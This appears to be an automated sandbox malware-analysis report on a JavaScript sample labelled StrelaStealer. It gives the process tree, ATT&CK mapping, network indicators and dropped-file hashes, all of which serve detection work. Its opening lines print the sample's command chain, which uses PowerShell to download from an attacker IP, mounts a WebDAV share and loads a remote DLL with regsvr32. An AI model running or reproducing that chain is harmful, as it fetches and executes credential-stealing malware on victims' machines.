Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\284682375711175.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
2948124376300195806.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer
2948124376300195806.js	10%	Virustotal		Browse

Source	Detection	Scanner	Label
http://193.143.1.205:8888/d	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/sh/	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/V	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/4	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.2722934524.00000163FA212000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2/C:	svchost.exe, 00000009.00000003.1483980336.00000163FA150000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/4	net.exe, 00000007.00000002.1484072846.000002AA56CC8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/d	net.exe, 00000007.00000002.1484072846.000002AA56CC8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/V	net.exe, 00000007.00000002.1484072846.000002AA56CC8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1484072846.000002AA56CC8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1484072846.000002AA56CF3000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1484072846.000002AA56D1F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/sh/	net.exe, 00000007.00000002.1484072846.000002AA56CC8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588967
Start date and time:	2025-01-11 07:46:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	2948124376300195806.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 172.64.41.3, 162.159.61.3, 3.233.129.217, 52.6.155.20, 3.219.243.226, 52.22.41.97, 184.28.90.27, 23.209.209.135, 2.22.50.131, 2.22.50.144, 2.16.168.107, 2.16.168.105, 34.237.241.83, 52.149.20.212, 23.47.168.24
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
01:47:03	API Interceptor	21x Sleep call for process: powershell.exe modified
01:47:07	API Interceptor	1x Sleep call for process: net.exe modified
01:47:07	API Interceptor	2x Sleep call for process: svchost.exe modified
01:47:15	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	1264213928938610773.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	244188544238313090.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1534283901292319457.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	23742400475728052.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	19292830865508482.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	91263130946456752.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	369248682699819312.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	30011267761667014058.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	32279194341766111087.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	11626244731900027402.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	1264213928938610773.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2iH7rqx9rQ.exe	Get hash	malicious	Remcos	Browse	199.232.214.172
	244188544238313090.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	23742400475728052.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	19292830865508482.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	369248682699819312.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	32279194341766111087.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	11626244731900027402.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1194187433219817322.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2650280751468214741.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	1264213928938610773.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	244188544238313090.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1534283901292319457.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	820716203646129861.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	23742400475728052.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	19292830865508482.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	91263130946456752.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1418132746179806359.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2449715899306403241.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	131612862076531181.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8021991581736426
Encrypted:	false
SSDEEP:	1536:RJszRK0I9i0k0I9wXq0I9UGJC/PQJCmJCovVsnQ9Sii1GY9zOoRXTpMNYpKhvUA+:RJE+Lfki1GjHwU/+vVhWqpD
MD5:	6623CEEF63067DE0D00656F46EBFD7DF
SHA1:	3DC0BE1EF4EE1376F80F26D55CCD3D7FA5E6BA14
SHA-256:	988F6D879B1F31E360D02BDBFC3578A2D313B2013773E8FA3AF04525AFE8DA9A
SHA-512:	1CCFB4B1DA198732346630687DA12C62A75EC76BD87BE0CC7DFDA1DAECF58F8C92C5E268F2948763AB10007BE66F8C7B682BCC8533D72B5C51C83F9520F1C66D
Malicious:	false
Preview:	..Q^........@..@.....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.....................................3~L.#.........`h.................h.......1.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x1a06f504, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1048576
Entropy (8bit):	0.9432927427148341
Encrypted:	false
SSDEEP:	1536:jSB2ESB2SSjlK/ZvxPXK0I9XGJCTgzZYkr3g16zV2UPkLk+kY+lKuy9ny5zPOZ15:jazaHvxXy2V2UR
MD5:	51D17BBC7D8906DAB3ADAE8E43AC9801
SHA1:	7F7EC826BC8E2582E410E97A5372D22591F9AAA2
SHA-256:	D1D2E8570C4A398102EE64E26552A053385582480AE715D10A7F41761C6231E6
SHA-512:	EAD61B7C2D39EECB303CBFFBFCD46DA13683AA3A36E9F0D3133300DFFCAEBE8F263C58DDFFC9604CC8C75641917319ECB2726B87BBCDE9460363E25ED4435A59
Malicious:	false
Preview:	....... ...............X\...;...{......................0.x...... ...{s../...}..h.z.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............{...............................................................................................................................................................................................2...{...................................Lx./...}=.................lt.../...}...........................#......h.z.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08159493698566524
Encrypted:	false
SSDEEP:	3:myKYeV14qvesl/nqlFcl1ZUllllFouevillGBnX/l/Tj/k7/t:zKzV17esl/qlFclQ/lSG254
MD5:	E47A5074D19593D7DDC4F65DD99DA617
SHA1:	F4B2E5E62E48057AA184AD654C86111B97CE388C
SHA-256:	7139F2BD7DFF9219FEA9242BFEB18B9E69C3F1FEFDF257892C96945695224141
SHA-512:	8D07E7D30D1DC60DA8D0EEE2EF9C8A580FF0DD8A928146B9730B89FF589C309AC2DE2E6A5FDEF2A1C08CBA308B7DB7F495B44ED6ACA83990CE0624AA9316C824
Malicious:	false
Preview:	.'.r.....................................;...{.../...}... ...{s.......... ...{s.. ...{s.P.... ...{s.................lt.../...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.149623668359449
Encrypted:	false
SSDEEP:	6:iOn5fq2PCHhJ2nKuAl9OmbnIFUtF5BZmwr5bkwOCHhJ2nKuAl9OmbjLJ:7nBvBHAahFUtFH/rV56HAaSJ
MD5:	8EABB200655B3348624B41234128B093
SHA1:	D5C545D819B98261D74527227B33DDDFC7185C66
SHA-256:	510354580953C5D57553A011C7B634FB72A2E5CDB8C07B1C6AD2DF8A081A8E61
SHA-512:	68E8B54AA172399623AA230C72C32B92BBD5F10B257F65A43F7DEFB590A568C234CD3704A05BB49CAAA267FA16D0C214E045B1FA4EF05BC602C1222C87E1EA95
Malicious:	false
Preview:	2025/01/11-01:47:07.242 300 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-01:47:07.245 300 Recovering log #3.2025/01/11-01:47:07.245 300 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.149623668359449
Encrypted:	false
SSDEEP:	6:iOn5fq2PCHhJ2nKuAl9OmbnIFUtF5BZmwr5bkwOCHhJ2nKuAl9OmbjLJ:7nBvBHAahFUtFH/rV56HAaSJ
MD5:	8EABB200655B3348624B41234128B093
SHA1:	D5C545D819B98261D74527227B33DDDFC7185C66
SHA-256:	510354580953C5D57553A011C7B634FB72A2E5CDB8C07B1C6AD2DF8A081A8E61
SHA-512:	68E8B54AA172399623AA230C72C32B92BBD5F10B257F65A43F7DEFB590A568C234CD3704A05BB49CAAA267FA16D0C214E045B1FA4EF05BC602C1222C87E1EA95
Malicious:	false
Preview:	2025/01/11-01:47:07.242 300 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-01:47:07.245 300 Recovering log #3.2025/01/11-01:47:07.245 300 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.123763528206554
Encrypted:	false
SSDEEP:	6:iOn5tdJ34q2PCHhJ2nKuAl9Ombzo2jMGIFUtF53UVvJZmwr5hv3DkwOCHhJ2nKuA:7nzAvBHAa8uFUtFKh/rPvz56HAa8RJ
MD5:	C50730E0973C52B58318381FD9BFFDAD
SHA1:	E0A3F3AA6179DCBDE126B702D9DB132D828686AE
SHA-256:	A7CEEA988C321DEC92C0A88E3F7E5ADA99968F1F5FE603034E72CF05B01CBEB2
SHA-512:	AE7BCB21B3E39F4B43E58B2FB905A36B6C6EB0813DE921560AD15F6C32BF63403F477BEB80A514BAB600B5EA2AE194EC479248868D38DB9DA77D0F2C057BD948
Malicious:	false
Preview:	2025/01/11-01:47:07.378 1100 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-01:47:07.380 1100 Recovering log #3.2025/01/11-01:47:07.381 1100 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.123763528206554
Encrypted:	false
SSDEEP:	6:iOn5tdJ34q2PCHhJ2nKuAl9Ombzo2jMGIFUtF53UVvJZmwr5hv3DkwOCHhJ2nKuA:7nzAvBHAa8uFUtFKh/rPvz56HAa8RJ
MD5:	C50730E0973C52B58318381FD9BFFDAD
SHA1:	E0A3F3AA6179DCBDE126B702D9DB132D828686AE
SHA-256:	A7CEEA988C321DEC92C0A88E3F7E5ADA99968F1F5FE603034E72CF05B01CBEB2
SHA-512:	AE7BCB21B3E39F4B43E58B2FB905A36B6C6EB0813DE921560AD15F6C32BF63403F477BEB80A514BAB600B5EA2AE194EC479248868D38DB9DA77D0F2C057BD948
Malicious:	false
Preview:	2025/01/11-01:47:07.378 1100 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-01:47:07.380 1100 Recovering log #3.2025/01/11-01:47:07.381 1100 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\8e46cf9b-4c61-4013-b027-7f3f06413723.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.955417903287434
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqrEXhsBdOg2H/caq3QYiub6P7E4T3y:Y2sRdsiddMHO3QYhbS7nby
MD5:	47E4BF8CA13F34ECDAB4D7602CD7051A
SHA1:	D47BCA31206A95AF6CD57140020920DABF3FA070
SHA-256:	5F7EBF4B9BF80CC094D53ECA2367CBC4F6594562D2313E491CF65C682D29EADE
SHA-512:	DF4F12428C2C269A2914CA6220FA7805BDBE07FA836923EFF595F1CAAA32EEBC15285E8D423760D6292B04325EB0ABF8717CD17CEDC4A5CE6959C2327E965FC6
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381138038998344","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":126400},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.955417903287434
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqrEXhsBdOg2H/caq3QYiub6P7E4T3y:Y2sRdsiddMHO3QYhbS7nby
MD5:	47E4BF8CA13F34ECDAB4D7602CD7051A
SHA1:	D47BCA31206A95AF6CD57140020920DABF3FA070
SHA-256:	5F7EBF4B9BF80CC094D53ECA2367CBC4F6594562D2313E491CF65C682D29EADE
SHA-512:	DF4F12428C2C269A2914CA6220FA7805BDBE07FA836923EFF595F1CAAA32EEBC15285E8D423760D6292B04325EB0ABF8717CD17CEDC4A5CE6959C2327E965FC6
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381138038998344","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":126400},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.234488952188213
Encrypted:	false
SSDEEP:	96:S4bz5vsZ4CzSAsfTxiVud4TxY0CIOr3MCWO3VxBaw+bNAEkLr:S43C4mS7fFi0KFYDjr3LWO3V3aw+bN23
MD5:	D9914727B40EEF4F5D2DB035A9A0FE06
SHA1:	FF83C91847E557106E4BCDEDEF4FB69BC0F03967
SHA-256:	1FD821C14F8BCCCB874FE24B1AED82C705DC3B820CC9CEAEA481E3CFC6CC44B7
SHA-512:	4D02B15F6E41544495AB3C2064C7B2E5FE1E5A6DDE4E3E41D2E7EAB91FD2D43E114CE2305BEA929D83F49515328E9ACA8E857F8E322C9B31DC9D5B8254DC419A
Malicious:	false
Preview:	*...#................version.1..namespace-8..\|o................next-map-id.1.Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/.0...dr................next-map-id.2.Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.2.$..o................next-map-id.4.Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/.3+...^...............Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/....^...............Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/T.3.a...............Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.U..a...............Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.$..o................next-map-id.5.Pnamespace-c66013b9_73b6_4b3f_b279_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.130687586445645
Encrypted:	false
SSDEEP:	6:iOn5sVv34q2PCHhJ2nKuAl9OmbzNMxIFUtF5+VvJZmwr593DkwOCHhJ2nKuAl9Ob:7nWNIvBHAa8jFUtFQ/rPz56HAa84J
MD5:	8F1FA5B22B4B0F8781AA8EE46F63C5BF
SHA1:	7139550B26E497EDA541C719890F52BF6D755D23
SHA-256:	3A68CCC690768EDE33B45C9E393E4E72AD5BCA2602B9AABC9647F0103630942C
SHA-512:	486E349FA6193DA1A520BB06E319AFCDA2009012673E5A8F5A89AFD81815B8A4E815A20582010C0BC40AF714CA92E57BE7734AC80FAFFC88245400BADE2A45CE
Malicious:	false
Preview:	2025/01/11-01:47:07.443 1100 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-01:47:07.449 1100 Recovering log #3.2025/01/11-01:47:07.451 1100 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.130687586445645
Encrypted:	false
SSDEEP:	6:iOn5sVv34q2PCHhJ2nKuAl9OmbzNMxIFUtF5+VvJZmwr593DkwOCHhJ2nKuAl9Ob:7nWNIvBHAa8jFUtFQ/rPz56HAa84J
MD5:	8F1FA5B22B4B0F8781AA8EE46F63C5BF
SHA1:	7139550B26E497EDA541C719890F52BF6D755D23
SHA-256:	3A68CCC690768EDE33B45C9E393E4E72AD5BCA2602B9AABC9647F0103630942C
SHA-512:	486E349FA6193DA1A520BB06E319AFCDA2009012673E5A8F5A89AFD81815B8A4E815A20582010C0BC40AF714CA92E57BE7734AC80FAFFC88245400BADE2A45CE
Malicious:	false
Preview:	2025/01/11-01:47:07.443 1100 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-01:47:07.449 1100 Recovering log #3.2025/01/11-01:47:07.451 1100 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

